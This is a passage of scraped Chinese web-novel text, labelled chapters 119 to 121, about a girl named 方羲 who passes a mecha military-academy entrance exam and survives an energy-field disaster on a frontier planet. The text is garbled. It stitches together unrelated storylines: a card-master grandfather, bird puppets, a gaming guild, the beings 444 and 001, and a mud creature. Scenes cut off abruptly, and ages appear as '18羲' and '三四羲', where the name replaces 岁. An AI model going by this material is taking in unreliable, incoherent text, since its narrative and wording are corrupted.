小男孩张了张嘴，脸都快涨红了，才终于鼓起勇气，嗫嚅道：“哥、哥哥，加个光脑号。” 好乖！ 和谷池一样乖。 他忍不住摸了摸他的头发，嗯，也跟谷池的一样柔顺。 “好。” 加完方羲的光脑号之后，小男孩的眼睛瞬间就又恢复了之前的明亮。 而后又像是想起了什么，他转头看向了旁边的乔峻。 乔峻好像也是他的恩人，他都加了这个哥哥的光脑号，不加他的好像有点不太礼貌？ 想到这里，他只能把光脑也往乔峻面前送了送。 乔峻：“……” 虽然但是，有种被嫌弃了的感觉。 加完光脑号，方羲和乔峻就回去了。 没一会儿的功夫，小男孩的家长也赶到了。 他可不正是那位现在备受第十星系各大家族追捧的欧阳震华老先生。 看到小男孩平安无事，欧阳震华顿时松了一口气。 他连忙把他从保姆机器人手里接了过来，声音却比平时放的还要轻：“走，小瑞，爷爷带你去见你晋哥。” 显然，那些保姆机器人已经把刚才发生的事情全都报告给了他，包括小男孩突然跑出来的原因。 注意到那几位客人也跟着欧阳震华过来了，小男孩也就是欧阳瑞把脸埋进了欧阳震华怀里，摇了摇头。 他已经没有那么害怕了。 而且晋哥都已经说了他今天没有时间了，他还跑过来，本来就是他的不对。 更何况小阿拉斯加身上全是泥水，肯定不太舒服，他得先带它回家洗澡。 “好，那我们回家。” 欧阳震华说。 等到他们回到家，给小阿拉斯加洗了澡，又把小男孩哄睡着了，欧阳震华才终于松了一口气。 他这才想起了那位客人还没有离开的事情。 看到他从楼上下来，一个少年从沙发上站了起来。 一身黑色西装将他修长的身形衬托的淋漓尽致，梳的一丝不苟的头发下面，是一张细如白瓷的脸，墨瞳薄唇点缀其间，他微微颔首：“欧阳老先生，实在是抱歉，要不是我们今天冒昧来访，耽误了您的时间，小少爷就不会一个人跑出去，更不会差点遇险了。” “这事怎么怪也怪不到牧小少爷你身上去，所以牧小少爷大可不必内疚。” 欧阳震华叹声说道。 启明星是无植物星球，已经是星际联盟里比较安全的星球了，这样的事故一年也出不了一次，谁能想到这一次偏偏被欧阳瑞遇上了。 这事只能怪他耗尽了欧阳家的运道，以至于他家的子孙的命运一个比一个凄惨。 他的两个儿子，一个死在了战场上，一个意外死在了一场车祸里。 欧阳瑞是他的小女儿留下的孩子，她刚出生就被拐走了，等他找到她的时候，她已经变成了一张黑白照片，留下欧阳瑞从小就被孤儿院的人虐待。 这也就导致现在的他精神状态非常不稳定。 原本他辞去卡牌协会的工作，带着小瑞四处旅行，就是为了治疗他的心理疾病，没想到他们先是遇上了□□火并，后来又遇上了星盗，导致小瑞差点死在那些星盗手里，以至于他的病情不仅没有得到缓解，反而又加重了一些。 后来小瑞就不愿意再出远门了。 这也是他选择在启明星上停留一段时间的另一个原因。 欧阳震华：“你为牧老爷子求的2S级治疗卡，半个月内，我会帮你们画好的。” 少年也就是牧诏再次躬身说道：“多谢欧阳老先生。” “至于你想拜我为师的事情，我也很想收下你，但是你也看见了，小瑞现在的情况不太好，我恐怕抽不出多少时间来，不过我可以把你介绍给我的学生黎朔。” 说到这里，欧阳震华又有些不舍。 他说的并不是什么客套话，他是真的很欣赏牧诏的不慌不燥，临危不惧，脚踏实地，像极了当年的他。 牧诏却说：“我觉得，您能抽出一点时间来教导我，就足够让我受益无穷了。” 牧诏都这么说了，欧阳震华也就不想再拒绝了：“也好。” “不过我前几天刚刚拒绝了冯晋拜师的请求——冯晋就是那个救了小瑞的启明星人，所以还是等我离开启明星之后，再正式收你为徒吧！” 牧诏再次躬身，声音清亮：“好的老师。” 在所有人惊愕慌乱 的目光下，梨花雪骤然放声大哭。 脸上的表情，怪异得似哭似笑。 却也如同，浴火之后的新生。 第 119 章 第 119 章 方羲回到小木屋之后，发现她不在的时候，老鹰、啄木鸟、知更鸟、北长尾山雀，四百只微型傀儡，时隔两个月，终于回来了。 而且，群鸟在路上似乎还遇见了欠债不还的乘务员，集体愤怒地把它背上扛着的大包裹暴力抢走，带回给它们可亲可爱的主人。 方羲先是逐只查看了一下每一个傀儡的身体状态，发现它们每一只都吃饱喝足，健健康康，就有个别的几只掉的毛有点多……可能是到换毛期了。 确认群鸟们的确没什么大碍之后，方羲又清点了一下它们肚子的人类，加上大白鸦和彩色鹦鹉带回来的，一共有三百八十七只人类。 感觉效果比预想中好很多……不过，怎么它们都花了这么久的时间？ 方羲看了一眼彩色鹦鹉，发现这只小鸟头顶的呆毛忽然心虚地一竖，翅膀摸了摸自己的脑袋，罕见地没有和她对视，目光游离。 七院夜训结束，一群穿着夜训校服的年轻学生，从夜训场鱼贯而出。 路过训练大楼时，看见高层训练室的灯光溢出来。 正在擦汗的男生动作一顿，他外衣敞开，露出胸膛和上臂肌肉，鼓起的肌肉轮廓上横着几条鞭痕，汗水从上面流过，宛如盐蒸，很是酸爽。 但身体的疼痛比不过这一刻的痛心，他捂着心口看了眼周围，大声质问： “谁，是谁，说好了今晚放假的呢？谁去训练室开卷？” “你们都是铁人啊？” 男生痛心疾首地摇了摇头。 他后面跟上一队人，没好气地踹了他屁股一脚：“没人卷你，今儿训的我骨头都要断了，有这功夫我不如去医疗舱躺着，还训练个鬼。” “啊，难道是一年级的小孩？不是吧”，他转头看向自己的红发好兄弟，“他们才开学第一天，卷成这样了吗？” 成维累的狗一样喘着，没空搭理他。 倒是后面跟上的一个男生，没好气拍了拍他的脑袋，友情提醒： “他们可卷了，那个战士系的新生，叫赫摩尔那个，听说最近一周的训练记录是日均十二小时。” 男生倒吸一口气，“我的同侪们都是卷人狼灭，我的下一届也是卷人狼灭，这样显得我很菜诶！” 成维在喧闹中抬头看了眼高楼，数着楼层，突然想起什么：“这个训练室，好像是教务处在用的。” 说到这里，他脑子里浮现出今天遇到的那个瘦个头的女生，“可能是星际游民的考核检查。” 说着，就将自己在商业街遇到方羲，并且对方要来七院进行星际游民考核的事情，和朋友们讲了。 “啊？” 刚才还痛心疾首的男生，站直了身体，“害，这个政策都这么些年了，还在啊，我还以为没人通过，都要废掉了。” “今天值班的老师还挺惨啊，这么晚了还要陪着走一场，你说……” 他是真的有些不解。 “这些游民难道不知道，他们这种实力通过不了考核吗，要我说，要不就在星盟花点钱找个机构培训个几年再来，要不就去次级高校算了，干嘛每回都来浪费这个时间。” 成维今天刚接受过方羲的八折优惠，哪怕也觉得她难以通过考核，这时候还是清了清嗓子，为她说了几句： “星际游民定居星盟之后也是星盟人，少说几句，万一真有人有实力，过了考核呢。” “哈”，那男生没继续这个话题，但知道自己没被卷到，心里的紧张感削弱很多，最后更是轻松的玩笑，“能通过我跟她姓。” 成维默默转头看了眼他。 男生姓方，名图南。 他心说，你们俩还真的是本家。 方图南被他扫了一眼，马上接道： “赌不赌？要是真能通过，哥几个下个月营养液我包了，哦，通过的那个同学的营养液，我也包了。” 成维拍了拍他的肩膀：“行了行了，你不累吗，考核对他们来说是有难度，但别老点人是星际游民，你这样不是排外么。” 方图南被推着往宿舍走，“你说的也对哈，不利于我们同学关系团结稳定，我反思。” 训练楼下的议论声音并不能传到高层。 在他们口中，浪费时间的值班老师，此刻紧张的看着训练室内。 黑色机甲的速度快到只剩残影。 她的身后拖曳着一团巨大的火焰，火团炙热的高温烧灼着机甲，传感到驾驶舱，方羲感觉自己背后都要被烤干了。 长条蜈蚣无力的趴在地面，几次的轰击和捶打，让它发出痛苦的吼叫。 方羲后方好像长了眼睛似的，跑动间甩开身后的火焰，脚步在墙面上重重一踢。 整个人离弦箭一样射出去。 闪爆弹比机甲更快，接近长条蜈蚣，三枚炮弹齐发，在长条蜈蚣移动爬行的路线上，阻拦它的转移。 最后一枚成功越过它周围的火墙，轰在长条蜈蚣背后，甲壳被轰出一个洞，外壳外翻，鲜红的血溅出来。 方羲驾驶机甲猛地冲进火焰墙，这举动把短发老师吓了一跳。 火焰墙高温炙烤，机甲传感后，不亚于将驾驶者本人烈火焚烧。 她紧盯着方羲的举动，担心对方在高温烧灼的疼痛下晕倒，好及时救援。 但短发老师才站起来，还没来得及坐下。 舞动得哗哗作响的长枪，和训练室的金属墙壁发出清脆的撞击。 长枪串起长条蜈蚣犹如烤串一样，将它朝旁一甩，蜈蚣的身躯压灭火墙的一方，甩出去、撞上墙壁。 训练室狠狠震了震。 震动未歇，疾速飞出的机甲耍了个花枪，尖锐的枪头，顺着长条蜈蚣还未愈合的枪炮伤口，抓住它转身的短短一秒，狠狠刺入它的身躯。 “咔擦。” 一声激越的撞击，掩盖在枪头划开能量体皮肉的声音和能量体倒下的巨响中。 方羲抽出长枪，将长条蜈蚣往上一挑，抬脚就踹向另一边。 她上前，在原地的角落里，捡起被长枪头戳出来的能量晶。 她的身后，长条蜈蚣瑟缩着。 慢慢融化。 和黑色土地融为一体。 全息影像场景逐渐消失。 方羲受手上的能量晶也随着消散，机甲的创伤恢复，只剩神经传来的灼烧感。 方羲等了等，没听到短发老师的提醒，倒是听到了全息训练室的机械语音。 “您的考核完毕，请出训练室后，解除机甲佩戴，祝您考核成功。” “完了？” 短发老师看着消散的全息场景，有些恍然的皱眉。 这么快？ 方羲走到门边，在语音频道询问道：“老师，考核结束了吧？” “结束了。” 短发老师迅速调整好心神，恢复严肃的面貌，打开了训练室的大门。 方羲离开战备机甲时，还有些不舍的摸了摸座椅。 高级机甲就是好啊。 不知道她什么时候有钱，到时候，想把在末世和她并肩作战的老朋友复刻出来。 方羲想了想，还有自己的长枪，红将。 全都做出来，做成个性机甲。 给自己定一个小小的奋斗目标，方羲看向短发老师，“请问，考核结果大概什么时候出？” “后天上午十点前，会通过光脑通讯发送给你”，短发老师让她确定通讯号码无误，紧接着抿了抿唇，补了一句，“通过考核后，在十二点前来教务处办理入学，过了十二点，就要等下午两点后了，你自己好安排时间。” 她的态度隐隐有些变化，方羲摸不着头脑，索性没在意，只是最后离开时，短发老师关心的劝了句： “你现在的体质还太差了，身体营养不够，平时要多吃点，注意提高体能，以后肯定能再上一个台阶。” 短发老师自己是边境军出身，能看出方羲在考核中，最薄弱的地方。 她的爆发很强，但耐久不足。 后者归因于体能欠缺。 方羲这样的身体状态，能做到这一步，已经很让短发老师震惊了。 离开七院后，方羲看了看自己的手臂和身体。 在末世，食物匮乏，但她跟着明灯小队，作为地下城资源探索的主力，吃得已经比其他人好一些了。 还长到个快一米七的个头，谁见了都要夸她生龙活虎。 结果穿越到这里，细想竟然有不少人觉得她体能不行，身体素质差。 方羲回商业街的路上仔细思索着，同时还观察着星际人的体格，后知后觉感到，好像是要补一补。 得增增肌，这样力量又能提升一档。 她脑子里很快给自己安排好了训练计划，最关键的是改善饮食，方羲为此选择了一个伙食供应很好的旅馆，订了一晚的房间。 睡前，她在星网上看了看营养液，斥巨资购买了一学期的高浓度营养液。 临睡时，方羲回忆着今天的考核，她觉得自己表现的还不错。 ——除了第二，三项体力跟不上，以及机器人作战时故意歇了歇，其他的……发挥的还挺正常。 应该能读上书吧？ 一月底，正是星际联赛的尾声进行时，最后一场打破本次联赛时长记录，持续整二十天。 星际联赛，以放置能量监测仪器、至能量场最低波动点为结束。 本次比赛由于守擂者、即持有监测仪器的七院，哪怕只剩两人，也过于顽强，硬生生拖到一月底，才全部结束。 早上方羲前往旅馆的用餐点，在菜单上看见有食物后，有些期待的点了一碗面食，捧着热气腾腾的汤面，方羲坐下观看中央的投影。 投影是前两天的联赛回放，正好是最后的一点。 方羲因为跃迁错过了实时转播，后续也不知道七院顺利脱身没有。 但看转播中，被三院指挥蒋天懿的精神体，春树妖层层网住的七院输出金宇。 另一边，百里，田然两位输出，围攻七院分析师。 她不由得摇了摇头。 这下难逃了。 “烛荆府的好运到头啦”，用餐点的其他客人忍不住道，周围人很快跟上讨论。 “谁说不是，唉，不过也确实辛苦了，谁能想到烛荆府能撑这么久，他们才两个人。” “要我说，还是云指挥在地窟中太激进，不然少出局一个人，都不会这么难。” “少出局一个人，那就不是一个学院对付烛荆府了，没办法啊，我们是最后一个守擂，要想积分翻倍争前三名额的，都盯着我们，这不就是现成的肥羊。” “烛荆府的积分排名多少？” “我看看我看看”，说话的人放下汤碗，真要去星网查一查。 旁边有人接话，“这有什么好看的，倒数第一呗，这几年不都是这样。” “你这个人，说话怎么这么难听。” 他面露同情，啧啧两声，并遗憾地摇了摇头。 哈哈，真是可怜的人类啊。 难为你了，摊上了一千零一这种没证就上岗的医生。 第 120 章 第 120 章 自从收藏家上一次出现，时间已经过去了十天，她又一次了无音讯。就连“小卖部”，除了第一天开业，之后再也没有开过门。 同理，新晋玩家“白乌鸦”也是一样，即使是身为她第一个队友的踏樱，也没有接收到任何一条来自白乌鸦的消息回复。 哪怕对方处于在线状态。 但踏樱、包括黑天鹅的一众首席玩家，对收藏家这种有些脱线的状态，已经相当习惯了。 不过，在这段时间，黑天鹅的集体成员，包括一批在现实世界负责处理特殊事件的士兵们，正在焦头烂额地处理收藏家丢过来的“大难题”。 他们在仿真副本结束的三个小时之内，很快查到了梨花雪线下所居住的实验基地，并命令一大批精英士兵，立刻前往目的星球。 但奇怪的是，这个实验基地似乎仅仅只是分支之一，其情报网甚至扩散得极快。当这批队伍赶到的时候，惊愕地发现这里居然只剩下十几名普通的研究员，还有陈据雪和陈卧雪。 塔洛星厚重的云层缓慢移动。 散落的日光穿透层峦云雾，在海洋大道的大理石地板上打出一圈圈光斑。 街道两边悬挂着各种店铺灯牌，有些已经被灰尘蒙上厚厚一层，光芒趋近于无。 其中最瞩目的位置，是挂着炫彩红绿跳闪灯牌，电子屏一尘不染的彼得维修店。 维修店里伸出一支瘦弱的手臂，拎着圆墩样的机器人助手朝外一丢，带着厚重倦困的女声懒懒道：“去，在外面迎宾，客人到了叫我。” 智能机器人的光屏上闪烁出一个笑脸符号，被调节成少年音的声线雀跃回答：“好的羲羲，保证完成任务。” 方羲挥挥手，在门口的操作面板上调节了几下。 维修店的大门彻底打开。 清晨的日光冲入室内，夹杂着机油和营养液香气的冷空气到处播散。 方羲探头出去，看见旁边店铺伸出一条金属展台，智能机器人的手臂在上面摆放着各种营养液品类，一个三四羲的小男孩从展台下方的金属挡板中钻出来。 他兴奋的摸了摸圆墩机器人光滑的脑袋，然后叽叽喳喳叫着方羲的名字。 方羲抬头，她凌乱的黑色短发被晃到脑后，额前发丝自然的向周围垂落，碎发落在眼前，遮住翠绿的左眼。 一颗机械金属质感的圆球在她眼眶中转转了，然后安稳下来。 “做什么呀？” 方羲和他打了个招呼，小男孩拿着一个折断了翅膀的机械蝴蝶，“碎碎，修修了。” 方羲接过，两根指头掐着机械蝴蝶，伸手摆弄了几下，蝴蝶翅膀又挺立起来。 小孩露出一个天真烂漫的笑容：“好好，蟹蟹碎碎。” 方羲勾了勾唇，笑容和煦的摸了摸他细软的发丝：“去玩吧。” 小孩含含糊糊的笑道，乐滋滋的扑着蝴蝶跑远。 那是隔壁营养液店铺老板娘的儿子。 三个月前，方羲穿越到这个世界。 受了重伤，身无分文，还欠了彼得老先生一笔昂贵的医药费，后被留在维修店打工还债。 隔壁老板娘看她身体瘦弱，营养不良，经常送些营养液给她。 方羲感恩她的情谊，会用废弃的零件，为她的小孩做一些玩具。 这些玩具在星际主星环算不上什么，但在远星环，贫瘠的塔洛星，足够一个孩子玩上很久。 悬空轨道嘎吱的声音不断的响起。 旁边店铺营养液的香气远飘出去。 星际的生活，安宁祥和，和充满异种，朝不保夕的残酷末世截然不同。 是她期待的安宁生活。 方羲扫了眼逐渐热闹的街道，目光投向半空摇摇晃晃的悬空车轨，有些倦怠的伸了个懒腰。 等还完彼得老先生的欠债，方羲想。 攒够学费了，她就去军校混几年日子，读完出来，就能够在星环拥有正式的居民身份，可以购买星环的住房。 到那时候，才是真的舒服惬意呢。 方羲美好的远望了一下，深吸一口气，开始今天的工作。 她穿越过来时受到不知名冲击，遗失了部分记忆，据彼得老先生说，在矿洞见到方羲时，她浑身都是血，胸口被锐器贯穿，右眼被洞穿，似乎经历了一场恶战，为此在医疗院治疗了三个月才醒来。 因此，方羲只能挂上星际游民认证，要想在这里定居，要么入伍边境军，要么进军校读书。 她才成年不久，最近正在挑选有星际游民招生计划的军校。 “叮咚。” “1869号客人，派森先生，你好”，智能机器人的声音传来。 刚走到操作台的方羲忙抬头：“您好，欢迎光临彼得维修店。” 来人如同小山一样的身形，将大门一堵，挡住室内的光源，随着他走进，方羲才透过他浓厚胡髯，看到眼熟的五官。 “派森先生，您的机甲维修单已经处理结束。” 方羲一改懒散困倦神态，正色专业道。 她在操作台上点击了几下，维修店的两根金属铁柱承重，铁柱背后的金属墙中伸出一个盒子。 咔哒一声，表面的金属外壳打开，巴掌大小的空间中央放着一枚带着链条的圆球。 “已经完成了吗，我迫不及待想试试新的机甲了”，派森先生礼貌道谢，取出装有机甲的指环，捧场的笑道。 机甲是星际为了应对突兀出现，拥有强大力量的能量体，研究出的一种放大人体作战能力的机甲设备。 能够贴合人体各处神经，将体形放大十倍左右，获得攻击和速度的加成。 方羲原来的世界，机甲也是作战武器，她融会贯通，很快上手彼得维修店的事情，还在附近星域传出了不少好名气，为彼得维修店带来了不少客流量。 派森先生通过光脑查看机甲的情况，随即，很满意的夸奖：“难怪我的朋友们推荐来彼得维修店，方工的维修技术确实十分不错。” 方羲礼貌笑笑，客气的回应：“您谬赞了，顾客满意就是对我们最大的鼓励，也期待您的下次光临。” 派森先生点点头，满意的转身，人已经走到维修店的大门处，刚准备迈出大门。 维修店的机械感应门却猛停顿下来，剧烈的晃动两下，然后‘砰’一声关上，瞬间闭合死。 室内感应器发出烁目的红光。 城市警报拉响。 城中广播刺耳的声音，将清晨安宁祥和的环境打破。 “检测到异常能量浓度，请居民远离周边物体，做好能量防护！” 语音的语速极快。 随着它的播报，维修店内，派森先生脚步一顿，抬头望去。 方羲抬眸，她双手脱离操作台，保持和周围无接触的动作，双眼紧盯着外面。 “这是……” 天空中，厚重云层逐渐被黑色渲染，彻底遮住了日光，大地越来越昏暗，短短几秒，如同日食一般，瞬间黑天蔽日。 一道幽蓝色光幕纱衣样覆盖下来，蓝色轻纱贴在高楼上，羽毛般轻飘飘的，却瞬间将高楼压倒。 飓风从远处席卷，一把将道路掀起。 裂缝在地上蔓延，街道彻底分裂，在蓝纱覆盖下，地底如同岩浆迸发，滚出一层层黑色的泥土。 难以言喻的力量将人造建筑碾成废墟。 空间似乎无形的扭曲了一下，崎岖的高山顶开泥土，从地面升起。 地形变化间，人群尖叫着逃窜，脚下的金属地面被黑色泥土腐蚀融化，地底冒出来的松软的黑色土丘。 派森先生神色大变：“不好，是能量场降临了！” 他语气凝重的道，正准备拿出机甲，一道蕴含着巨大能量风暴的狂风从室外吹过来。 能量风暴甩开机器人助手，不待它叫出声，就瞬间搅碎，随后又碾碎透明大门，金属碎裂，碎片朝四周溅开。 强大的推力扑面而来，方羲远离操作台几步，眼疾手快从台面上握紧一枚存放机甲的指环。 狂风从维修店席卷。 风刃带着能量刮开她的皮肤，黑色工作服被撕开无数的裂口，裸露在外的皮肤上布满了血色痕迹。 操作台轰然倒塌。 地面凸起黑色的土地，金属掉落转眼就被土地吞没。 维修店的金属墙面眨眼间被黑色的石岩层顶开。 狂风轻而易举卷起方羲的躯体，在地面疯狂移动。 她的身体被拉扯，卷曲。 风刃能量割开她的肌肤，疼痛让周围的感知变得薄弱。 不知多久，能量风刃突然变得微弱。 方羲察觉它的式微，凭借长期末世作战的紧张，瞬间反应。 控制肌肉发力，借助风暴的巨大推力，破开风卷，从半空跃下，就地一滚，躲开一个远处挥过来的风刃，稳住身体。 风旋划过，方羲站起来，快速扫了一边四周。 整个城市数息之间截然大变。 街道坍塌成一片废墟，巨大的山体拔地而起，形成一条蜿蜒错落的山脉，建筑和街道被地下凸起的山岩碾压，黑泥腐蚀着残破的废墟。 看着遍地疮痍的一幕，废土的惨状在方羲脑海中一闪而过。 一抹暗色自她眼底浮起，方羲掌心握紧机甲戒指。 派森先生在她不远处，从黑色土丘边爬起来，呸了几口泥土。 他身上也都是伤痕，胡髯被风刃切的七零八落，狗啃一样。 但派森先生俨然顾及不到这些，他快速拿出机甲，看见方羲，语气飞快的和她交流：“这么快形成的能量场，这能量体还真是不得了。” “我们得想办法快点出去，据我所知，你们星球可没有星环军卫服务。” “真倒霉”，他低声咒骂了一句。 星环军卫服务，是星球交付大批服务费用，借此向军事委员会申请调配边境军驻守，并训练本星环驻军。 上一任军事委员会主席宋白宁失踪后，服务费指数上涨，许多边缘星球交付不起费用，被收回驻军。 塔洛星就是其中之一。 方羲并不知道星环军卫，但不妨碍她知道派森先生说的对，她们现在的处境很危险。 方羲掌心拿着一枚基础机甲的指环，她同样放出机甲驾驶。 “你，这是基础机甲？” 基础机甲是星际联盟最简单的一种，只有基本配置的光剑和能量炮，比起的等级机甲和定制机甲，基础机甲的作战能力要弱的多。 方羲知道这些弊端，但当时离她最近的只有这个，且维修店那么多机甲里，她只有基础机甲的启动序列。 派森先生哽了一下，但眼下顾不上这些，他皱了皱眉，“你是觉醒者吗？” 方羲诚实摇头：“我不是。” 觉醒者是星际除了机甲单兵外的另一类人，他们精神阈内觉醒了精神体，能够召唤作战，是星际抵御能量体最重要的力量。 方羲心里暗道，她不是这个世界的人，怎么可能具有这个世界特殊的觉醒机能。 派森先生有些失望的叹气：“我们还是祈祷，最好能尽快找到锚点，离开能量场，不然遇到了能量体，凭借你我…” 他欲言又止，但已经表达出对能量体的忌惮。 哪怕他们都没见过。 方羲对能量场和能量体的印象，只停留在塔洛星人的聊天中。 “能量体很难对付么？”跟随派森先生行走在黑黢黢的城市废墟上，方羲有些不解的问道。 派森先生毫不犹豫点头。 虽然对方羲询问这个星盟中人尽皆知的问题有些疑惑，但还是回答了她： “当然，能量体拥有可怕的再生能力，我们的机甲只能对他造成最浅表的攻击，只有觉醒者才能真正杀死他们，能量体能够驱动自然元素的能量风暴，它的能量因子可以轻易的将一个人变成一堆灰尘。” 方羲面色不变，在机甲驾驶舱内点了点头，垂眸思索着。 难不难对付，要打过了才知道。 走过黑色土丘，躺在黑色液体中的一截未被异化的银矿吸引了方羲的注意。 “那是什么？” 派森先生大步走过去，在一个稍微宽阔一点点位置小心蹲下，机械手指捏着银色金属的一点边，将它从黑泥中提出来。 看上去是个金属球，边缘被黑色液体覆盖，缺口十分锋利，不像是被重物压碎或者被能量侵蚀，金属表面同样都是刮痕。 “是能源金属。” 能源金属是一种模拟能量体的能量因子锻造的特殊材料，一般用做能源炮，吸引能量体。 看着这个金属的切面，派森先生神色突然警惕，他马上起身，启动外骨骼的照明装置。 方羲冷静的观察着：“切口断面整齐，不太像暴力断裂。” 派森先生紧声道：“是风刃，能量体的风刃！” “被能量体切割进食过！” 能量体进食过这里的能源金属，也就是说…… 能量体在这附近。 派森先生面色灰暗下来。 方羲冷漠的面孔透着几分战意，视线缓慢又谨慎的扫描着周围。 她表面平静无比，内心却有些疯狂的想道。 原本这个月做完就能还清欠债，结果临门一脚被这该死的能量场毁掉，也不知道老彼得老先生还发不发工资。 毁了她工作和安静生活的能量体，真是跟异种一样讨厌。 ——也和异种一样该死。 方羲有些冷漠的垂下目光。 在她点燃火种，率先举起猎刀的那一天。 宇宙所有的一切，人类种族注定衰亡的命运，所有人看向她的嘲弄眼神，全部改变了。 “我们应该杀死神明！” “我不想再待在这个星球！我也要豢养异端！” 原本只是抱着玩乐看戏的心态，和001接着话的444，大脑意识之内，却骤然闪过一道白色的惊雷。 无法习惯的失控感，脱轨的感觉，窥视异端遗留的恐惧感，混杂着一种奇异的心悸。以前从未感受过的情感，一下子齐齐涌上444的心头。 啊……你与及时行乐、看似疯狂反叛的我完全不同，我只是在异端亲自界定的规则之内，像只疯狗一样胡乱伤人而已。 零零一，原来你才是真正的疯子。 当之无愧的领袖，0序列的第一人，让我们从“宠物”，跨越成为独立个体的伟大先锋。 所以你更不应该死掉。 你本该，永恒地活在这个宇宙。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 120-130 第 121 章 第 121 章 泥土小人盘着腿，单手支撑着脸颊，一双黑豆豆一般的眼睛，视线追随着走来走去的方羲，一脸无语。 经过整整十天的时间，方羲针对不同的疑难杂症，成功研制出十八种通用陨石药剂，并努力把具体的制作材料和流程拆解，写成文字配方，打算过一会送去给浮空岛。 “你确定现在的人类，可以做出功效一模一样的成品吗？”九百号跳到伏案工作的方羲旁边，“这几天我借你的游戏面板上网，看来看去，感觉他们和以前没什么区别啊。” 方羲写字的动作一顿，陷入深沉的思索。 九百号无语地说：“你这样……行了行了，你一边玩去吧。笔给我，我帮你写几份平替版。” 方羲瞬间狂喜！ 不过，九百号看了看自己小小的泥土身体，想了想，先转身去喝了两口放大药水，把自己的身体暂且变成正常人类的大小，然后才挤开方羲，拿起笔，打算接着她的部分继续写…… “身份卡刷一下。” 教务办内，穿着深黑色长制服的短发女老师，将方羲带到一台机器面前。 她腰间用一根黑色的绳子系起，绳子上绣着烛荆府的标志，语气淡淡。 “方羲，18羲，塔洛星注册的星际游民”，说到最后一排，看着身份信息上显示的‘待觉醒’字样，对方啧了一声，“以前驾驶过机甲嘛？什么型号的？” “驾驶过基础机甲”，方羲如实答道。 短发老师低头看她，她个子很高，身姿挺拔，眼神锐利，身上有种很严厉板正的气息。 “星际游民通道招生也有入学考核，你的报名回执收到了吧，接下来我会帮你连接军校内的战备机甲，提前提醒你，战备机甲和基础机甲不同，连接神经时有很强的排异性，连接过程中，感觉到身体的疼痛是正常的。” 说着，她带着方羲去往了另一栋楼，沿路经过七院的建筑时，方羲发现，为了符合烛荆府的整体风格，整个七院都有些仿古元素。 自从百年前找到母星遗址，仿古风气便在星际联盟流行起来，七院这种古建筑设计和金属材料的结合，看上去有一种另类赛博的冲击感。 短发老师注意到方羲打量周围的目光，但她并没有出口介绍。 七院每一年进行考核的星际游民很多，能真正进来的人数，是零。 她不需要费口舌，给一个很大几率一轮游的人。 将方羲带到了训练室外，短发老师认真的为她介绍每一项考核内容。 “听清楚了吧？” “一共四次监测，两次对战，进去之后，按照我说的，做对应的事情就好，明白了吗？” 方羲点头：“明白。” 短发老师点点头，对她的服从命令很是满意，板正的脸色缓和了一些，看见方羲衣袖下瘦削的手臂又有些无奈。 这样的游民恐怕饭都吃不上，更别提能好好的驾驶机甲作战了。 短发老师很担心方羲，在连接战备机甲的第一关都撑不过去。 方羲虽然只能驾驶基础机甲，但也经历过战备机甲——有的客单会使用这一类机甲。 在星际的机甲里，基础机甲是最低等，用最廉价的材料和武器。 高等机甲略好一些，战备机甲是军用水准，对驾驶者要求高，材料上乘，并且可以设计更加合拍的武器。 另外还有个性机甲，是根据驾驶者的驾驶状态贴身打造，能够适应驾驶者的神经触须敏锐度。 “进去吧。” 短发老师打开一枚机甲储存戒指，放出一架高大的暗黑色机甲。 “武器一般配备一近战，一远程，炮弹统一为最基本的闪爆炮，近战武器你有什么偏好吗？” 短发老师象征的问了问，紧跟着道：“没有的话统一用光剑……” “我用长枪，谢谢。”方羲开口，她的声音戛然而止。 短发老师并未发表意见，按照她的需求，调出几种长枪类型：“选一个吧。” 方羲根据机甲的高度，选择了一柄比例最合适的。 “你……”短发老师皱眉，犹豫了一下，还是劝道：“如果你不熟悉这些近战武器，保险还是用光剑，不然万一失误，影响成绩，恐怕难通过考核。” 短发老师友情提醒她。 方羲感谢的婉拒：“谢谢您，我习惯用长枪了。” 短发老师也不好再说什么，直接让她继续流程。 战备机甲的驾驶舱和基础机甲很像，要说哪里不一样，恐怕就是面前的操作台，关于周围的监测设备更全面，还多了一个频道板块。 方羲看着频道板块闪了闪，一个挂着教务办的信号出现在最中央。 “坐好了，现在开始精神连接。” 方羲被她提醒过，因此垂下眼眸，等待着连接的神经疼痛。 但，全身上下各处好像被蚂蚁叮了一下，传来一阵很轻的战栗感，随后方羲便感觉到自己的身体挂上了一个沉重的重物。 她下意识抬了抬手。 短发老师看见战备机甲动了，还以为方羲疼得挣扎，忙制止：“先别动，等连接好，不然你会受伤的。” 方羲的动作一停，她躺在驾驶舱里，“老师，好像连接好了。” 短发老师皱眉，不确定的询问道：“你确定吗？” 方羲直接让机甲做了个边境军敬礼仪式，向她证明。 短发老师正色起立，回了一个敬礼。 然后才放松下来，打开了全息训练室。 短发老师内心有些惊讶，但并未表现出来：“接下来开始你的考核。” 入学考核内容有四项测试。 机甲驾驶精细度检测，需要根据指令做出相应的动作和行为，方羲对战备机甲适应良好，甚至能在半空做出高难度的蝗虫式翻滚。 机甲速度检测，内容是躲避全息模拟攻击，每被击中一次，机甲损耗度会增加，以机甲损耗度达到10％以下，经历的攻击次数计分。 这是最耗费体力的一个环节。 方羲前期还能如鱼得水的闪避障碍，哪怕她根据自己的体力，挑选出了最合适的方案，后期也不可避免的体力透支，机甲损耗度指数式增高。 短发老师从此刻开始，表情就认真起来。 等到方羲经过略显漫长的第二项测试，她隐隐有些遗憾。 在播报考核奖进度之外，她问了一句关心的话：“还能坚持吗？” 方羲倒在驾驶舱内，躺在座椅上的手臂和腿，都在剧烈的颤抖着。 短发老师听到频道语音里传来沉重的呼吸，拉风箱一样。 方羲满身大汗，整个人如同刚出浴一样。 嘴唇干裂苍白，她启唇，沙哑的声线干涩道：“能，麻烦您，继续吧。” “接下来是机甲武器精度监测。” 短发老师闭了闭眼，宣布下一项，她操作全息训练模式转变的手掌不由得紧握。 方羲的表现完全出乎了她的意料，第一项飞快的完成，第二项纵使拉长时间，但短发老师目测，她达到了平均水平以上 这可能是她见过的，最有潜能的星际游民，她对机甲的操作甚至要胜过星盟进行培养的单兵，有很大的希望通过考核，成为第一位，通过星际游民计划被特招的军校生。 短发老师想道。 ——如果她能在体力透支的情况下，稳住驾枪，精准开炮的话。 她补充。 “下一项是武器精度监测。” 武器精度监测内容是射击和击杀全息模拟出的生物活靶。 机甲架起枪炮时，方羲的手已经抖得不成样子。 短发老师在外面都能看见她肉眼可见的颤抖，她不禁皱眉，眉间染上一抹担忧。 这样的状态…… 然而，她的担心并没有成真。 